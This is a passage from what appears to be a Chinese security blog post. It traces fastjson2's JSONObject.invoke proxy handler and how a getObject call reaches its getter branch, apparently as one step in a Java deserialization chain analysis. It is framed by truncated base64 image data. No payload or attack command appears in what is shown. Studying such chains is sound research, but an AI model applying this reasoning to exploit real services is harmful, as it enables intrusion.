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
<p blockindex=88>然后调用 JSONObject 的 invoke 方法</p>
<pre blockindex=89><code class="hljs language-php"><span class=hljs-keyword>public</span> <span class=hljs-keyword>Object</span> invoke(<span class=hljs-keyword>Object</span> proxy, Method method, <span class=hljs-keyword>Object</span>[] args) throws <span class=hljs-built_in>Throwable</span> {
<span class=hljs-keyword>String</span> methodName = method.getName();
<span class=hljs-keyword>int</span> parameterCount = method.getParameterCount();
<span class=hljs-class><span class=hljs-keyword>Class</span>&amp;<span class=hljs-title>lt</span>;?&amp;<span class=hljs-title>gt</span>; <span class=hljs-title>returnType</span> = <span class=hljs-title>method</span>.<span class=hljs-title>getReturnType</span>();
<span class=hljs-title>if</span> (<span class=hljs-title>parameterCount</span> == 1) </span>{
<span class=hljs-keyword>if</span> (<span class=hljs-string>"equals"</span>.equals(methodName)) {
<span class=hljs-keyword>return</span> this.equals(args[<span class=hljs-number>0</span>]);
} <span class=hljs-keyword>else</span> {
<span class=hljs-class><span class=hljs-keyword>Class</span> <span class=hljs-title>proxyInterface</span> = <span class=hljs-title>null</span>;
<span class=hljs-title>Class</span>&amp;<span class=hljs-title>lt</span>;?&amp;<span class=hljs-title>gt</span>;[] <span class=hljs-title>interfaces</span> = <span class=hljs-title>proxy</span>.<span class=hljs-title>getClass</span>().<span class=hljs-title>getInterfaces</span>();
<span class=hljs-title>if</span> (<span class=hljs-title>interfaces</span>.<span class=hljs-title>length</span> == 1) </span>{
proxyInterface = interfaces[<span class=hljs-number>0</span>];
}
<span class=hljs-keyword>if</span> (returnType != <span class=hljs-keyword>Void</span>.TYPE &amp;amp;&amp;amp; returnType != proxyInterface) {
<span class=hljs-keyword>throw</span> <span class=hljs-keyword>new</span> JSONException(<span class=hljs-string>"This method '"</span> + methodName + <span class=hljs-string>"' is not a setter"</span>);
} <span class=hljs-keyword>else</span> {
<span class=hljs-keyword>String</span> name = this.getJSONFieldName(method);
<span class=hljs-keyword>if</span> (name == <span class=hljs-literal>null</span>) {
<span class=hljs-keyword>if</span> (!methodName.startsWith(<span class=hljs-string>"set"</span>)) {
<span class=hljs-keyword>throw</span> <span class=hljs-keyword>new</span> JSONException(<span class=hljs-string>"This method '"</span> + methodName + <span class=hljs-string>"' is not a setter"</span>);
}
name = methodName.substring(<span class=hljs-number>3</span>);
<span class=hljs-keyword>if</span> (name.length() == <span class=hljs-number>0</span>) {
<span class=hljs-keyword>throw</span> <span class=hljs-keyword>new</span> JSONException(<span class=hljs-string>"This method '"</span> + methodName + <span class=hljs-string>"' is an illegal setter"</span>);
}
name = Character.toLowerCase(name.charAt(<span class=hljs-number>0</span>)) + name.substring(<span class=hljs-number>1</span>);
}
this.put(name, args[<span class=hljs-number>0</span>]);
<span class=hljs-keyword>return</span> returnType != <span class=hljs-keyword>Void</span>.TYPE ? proxy : <span class=hljs-literal>null</span>;
}
}
} <span class=hljs-keyword>else</span> <span class=hljs-keyword>if</span> (parameterCount == <span class=hljs-number>0</span>) {
<span class=hljs-keyword>if</span> (returnType == <span class=hljs-keyword>Void</span>.TYPE) {
<span class=hljs-keyword>throw</span> <span class=hljs-keyword>new</span> JSONException(<span class=hljs-string>"This method '"</span> + methodName + <span class=hljs-string>"' is not a getter"</span>);
} <span class=hljs-keyword>else</span> {
<span class=hljs-keyword>String</span> name = this.getJSONFieldName(method);
<span class=hljs-keyword>Object</span> value;
<span class=hljs-keyword>if</span> (name == <span class=hljs-literal>null</span>) {
<span class=hljs-keyword>boolean</span> with = <span class=hljs-literal>false</span>;
<span class=hljs-keyword>int</span> prefix;
<span class=hljs-keyword>if</span> ((methodName.startsWith(<span class=hljs-string>"get"</span>) || (with = methodName.startsWith(<span class=hljs-string>"with"</span>))) &amp;amp;&amp;amp; methodName.length() &amp;gt; (prefix = with ? <span class=hljs-number>4</span> : <span class=hljs-number>3</span>)) {
char[] chars = <span class=hljs-keyword>new</span> char[methodName.length() - prefix];
methodName.getChars(prefix, methodName.length(), chars, <span class=hljs-number>0</span>);
<span class=hljs-keyword>if</span> (chars[<span class=hljs-number>0</span>] &amp;gt;= <span class=hljs-string>'A'</span> &amp;amp;&amp;amp; chars[<span class=hljs-number>0</span>] &amp;lt;= <span class=hljs-string>'Z'</span>) {
chars[<span class=hljs-number>0</span>] = (char)(chars[<span class=hljs-number>0</span>] + <span class=hljs-number>32</span>);
}
<span class=hljs-keyword>String</span> fieldName = <span class=hljs-keyword>new</span> <span class=hljs-keyword>String</span>(chars);
<span class=hljs-keyword>if</span> (fieldName.isEmpty()) {
<span class=hljs-keyword>throw</span> <span class=hljs-keyword>new</span> JSONException(<span class=hljs-string>"This method '"</span> + methodName + <span class=hljs-string>"' is an illegal getter"</span>);
}
value = this.get(fieldName);
<span class=hljs-keyword>if</span> (value == <span class=hljs-literal>null</span>) {
<span class=hljs-keyword>return</span> <span class=hljs-literal>null</span>;
}
} <span class=hljs-keyword>else</span> {
<span class=hljs-keyword>if</span> (!methodName.startsWith(<span class=hljs-string>"is"</span>)) {
<span class=hljs-keyword>if</span> (<span class=hljs-string>"hashCode"</span>.equals(methodName)) {
<span class=hljs-keyword>return</span> this.hashCode();
}
<span class=hljs-keyword>if</span> (<span class=hljs-string>"toString"</span>.equals(methodName)) {
<span class=hljs-keyword>return</span> this.toString();
}
<span class=hljs-keyword>if</span> (methodName.startsWith(<span class=hljs-string>"entrySet"</span>)) {
<span class=hljs-keyword>return</span> this.entrySet();
}
<span class=hljs-keyword>if</span> (<span class=hljs-string>"size"</span>.equals(methodName)) {
<span class=hljs-keyword>return</span> this.size();
}
<span class=hljs-class><span class=hljs-keyword>Class</span>&amp;<span class=hljs-title>lt</span>;?&amp;<span class=hljs-title>gt</span>; <span class=hljs-title>declaringClass</span> = <span class=hljs-title>method</span>.<span class=hljs-title>getDeclaringClass</span>();
<span class=hljs-title>if</span> (<span class=hljs-title>declaringClass</span>.<span class=hljs-title>isInterface</span>() &amp;<span class=hljs-title>amp</span>;&amp;<span class=hljs-title>amp</span>; !<span class=hljs-title>Modifier</span>.<span class=hljs-title>isAbstract</span>(<span class=hljs-title>method</span>.<span class=hljs-title>getModifiers</span>()) &amp;<span class=hljs-title>amp</span>;&amp;<span class=hljs-title>amp</span>; !<span class=hljs-title>JDKUtils</span>.<span class=hljs-title>ANDROID</span> &amp;<span class=hljs-title>amp</span>;&amp;<span class=hljs-title>amp</span>; !<span class=hljs-title>JDKUtils</span>.<span class=hljs-title>GRAAL</span>) </span>{
MethodHandles.Lookup lookup = JDKUtils.trustedLookup(declaringClass);
MethodHandle methodHandle = lookup.findSpecial(declaringClass, method.getName(), MethodType.methodType(returnType), declaringClass);
<span class=hljs-keyword>return</span> methodHandle.invoke(proxy);
}
<span class=hljs-keyword>throw</span> <span class=hljs-keyword>new</span> JSONException(<span class=hljs-string>"This method '"</span> + methodName + <span class=hljs-string>"' is not a getter"</span>);
}
<span class=hljs-keyword>if</span> (<span class=hljs-string>"isEmpty"</span>.equals(methodName)) {
value = this.get(<span class=hljs-string>"empty"</span>);
<span class=hljs-keyword>if</span> (value == <span class=hljs-literal>null</span>) {
<span class=hljs-keyword>return</span> this.isEmpty();
}
} <span class=hljs-keyword>else</span> {
name = methodName.substring(<span class=hljs-number>2</span>);
<span class=hljs-keyword>if</span> (name.isEmpty()) {
<span class=hljs-keyword>throw</span> <span class=hljs-keyword>new</span> JSONException(<span class=hljs-string>"This method '"</span> + methodName + <span class=hljs-string>"' is an illegal getter"</span>);
}
name = Character.toLowerCase(name.charAt(<span class=hljs-number>0</span>)) + name.substring(<span class=hljs-number>1</span>);
value = this.get(name);
<span class=hljs-keyword>if</span> (value == <span class=hljs-literal>null</span>) {
<span class=hljs-keyword>return</span> <span class=hljs-literal>false</span>;
}
}
}
} <span class=hljs-keyword>else</span> {
value = this.get(name);
<span class=hljs-keyword>if</span> (value == <span class=hljs-literal>null</span>) {
<span class=hljs-keyword>return</span> <span class=hljs-literal>null</span>;
}
}
<span class=hljs-keyword>if</span> (!returnType.isInstance(value)) {
<span class=hljs-function><span class=hljs-keyword>Function</span> <span class=hljs-title>typeConvert</span> = <span class=hljs-title>JSONFactory</span>.<span class=hljs-title>getDefaultObjectReaderProvider</span>(<span class=hljs-params></span>).<span class=hljs-title>getTypeConvert</span>(<span class=hljs-params>value.getClass(<span class=hljs-params></span>), method.getGenericReturnType(<span class=hljs-params></span>)</span>)</span>;
<span class=hljs-keyword>if</span> (typeConvert != <span class=hljs-literal>null</span>) {
value = typeConvert.apply(value);
}
}
<span class=hljs-keyword>return</span> value;
}
} <span class=hljs-keyword>else</span> {
<span class=hljs-keyword>throw</span> <span class=hljs-keyword>new</span> UnsupportedOperationException(method.toGenericString());
}
}
</code></pre>
<p blockindex=90>最后返回的是 value我们主要关心 value</p>
<p blockindex=91>因为我们调用的方法是 getObejct\<br>
会进入如下的 if</p>
<pre blockindex=92><code class="hljs language-php"><span class=hljs-keyword>if</span> ((methodName.startsWith(<span class=hljs-string>"get"</span>) || (with = methodName.startsWith(<span class=hljs-string>"with"</span>))) &amp;amp;&amp;amp; methodName.length() &amp;gt; (prefix = with ? <span class=hljs-number>4</span> : <span class=hljs-number>3</span>)) {
char[] chars = <span class=hljs-keyword>new</span> char[methodName.length() - prefix];
methodName.getChars(prefix, methodName.length(), chars, <span class=hljs-number>0</span>);
<span class=hljs-keyword>if</span> (chars[<span class=hljs-number>0</span>] &amp;gt;= <span class=hljs-string>'A'</span> &amp;amp;&amp;amp; chars[<span class=hljs-number>0</span>] &amp;lt;= <span class=hljs-string>'Z'</span>) {
chars[<span class=hljs-number>0</span>] = (char)(chars[<span class=hljs-number>0</span>] + <span class=hljs-number>32</span>);
}
<span class=hljs-keyword>String</span> fieldName = <span class=hljs-keyword>new</span> <span class=hljs-keyword>String</span>(chars);
<span class=hljs-keyword>if</span> (fieldName.isEmpty()) {
<span class=hljs-keyword>throw</span> <span class=hljs-keyword>new</span> JSONException(<span class=hljs-string>"This method '"</span> + methodName + <span class=hljs-string>"' is an illegal getter"</span>);
}
value = this.get(fieldName);
<span class=hljs-keyword>if</span> (value == <span class=hljs-literal>null</span>) {
<span class=hljs-keyword>return</span> <span class=hljs-literal>null</span>;
}
</code></pre>
<p blockindex=93><img src=data:image/png;base64,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
<p blockindex=94><img src="data:image/png;base64,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